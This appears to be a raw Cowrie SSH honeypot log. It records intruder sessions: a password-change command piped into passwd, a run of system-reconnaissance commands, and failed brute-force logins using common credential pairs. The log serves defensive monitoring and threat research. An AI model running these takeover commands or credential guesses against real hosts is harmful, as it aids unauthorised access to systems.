{"eventid":"cowrie.command.input","input":"echo \"admin1\\nA9jO0cf1ubJV\\nA9jO0cf1ubJV\\n\"|passwd","message":"CMD: echo \"admin1\\nA9jO0cf1ubJV\\nA9jO0cf1ubJV\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.433511Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/96024635dcb11a1291dc76903fb0d2d453ada5e729a4fc2936a805ea83d642ac","size":25,"shasum":"96024635dcb11a1291dc76903fb0d2d453ada5e729a4fc2936a805ea83d642ac","duplicate":false,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/96024635dcb11a1291dc76903fb0d2d453ada5e729a4fc2936a805ea83d642ac after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.451511Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.508445Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.511644Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.532874Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.604254Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.607705Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.633289Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.703933Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.707558Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.711042Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.737407Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.815006Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.818931Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.841429Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.918141Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.921627Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:24.939362Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.009795Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.013931Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.032292Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.098785Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.102888Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.118368Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.194039Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.197774Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.218736Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.296414Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.300299Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.319069Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.412360Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.415746Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.432353Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.496122Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.500650Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.516471Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.525974Z","src_ip":"156.251.179.157","session":"0f900ed160b3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.598759Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.602724Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.624890Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.694374Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.697911Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.716104Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:25.724788Z","src_ip":"152.32.238.146","session":"13064bd35060","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:28.539443Z","src_ip":"143.64.168.136","session":"2ca1bea4cd19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":50892,"dst_ip":"10.17.0.5","dst_port":22,"session":"1475c8f8ff7f","protocol":"ssh","message":"New connection: 156.251.179.157:50892 (10.17.0.5:22) [session: 1475c8f8ff7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:35.979910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:36.018052Z","src_ip":"156.251.179.157","session":"1475c8f8ff7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:36.321182Z","src_ip":"156.251.179.157","session":"1475c8f8ff7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"saturday","message":"login attempt [admin/saturday] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:37.585585Z","src_ip":"156.251.179.157","session":"1475c8f8ff7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":34616,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a09043ba11b","protocol":"ssh","message":"New connection: 103.143.231.102:34616 (10.17.0.5:22) [session: 4a09043ba11b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:38.505863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:38.510202Z","src_ip":"103.143.231.102","session":"4a09043ba11b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:38.580042Z","src_ip":"103.143.231.102","session":"4a09043ba11b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:38.805035Z","src_ip":"156.251.179.157","session":"1475c8f8ff7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2017","message":"login attempt [admin/Server2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:38.889560Z","src_ip":"103.143.231.102","session":"4a09043ba11b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:39.967432Z","src_ip":"103.143.231.102","session":"4a09043ba11b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.251.179.157","src_port":52366,"dst_ip":"10.17.0.5","dst_port":22,"session":"449ba198eb1d","protocol":"ssh","message":"New connection: 156.251.179.157:52366 (10.17.0.5:22) [session: 449ba198eb1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:47.470538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:47.493562Z","src_ip":"156.251.179.157","session":"449ba198eb1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:47.755255Z","src_ip":"156.251.179.157","session":"449ba198eb1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:49.129508Z","src_ip":"156.251.179.157","session":"449ba198eb1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:29:50.351357Z","src_ip":"156.251.179.157","session":"449ba198eb1d","protocol":"ssh"}
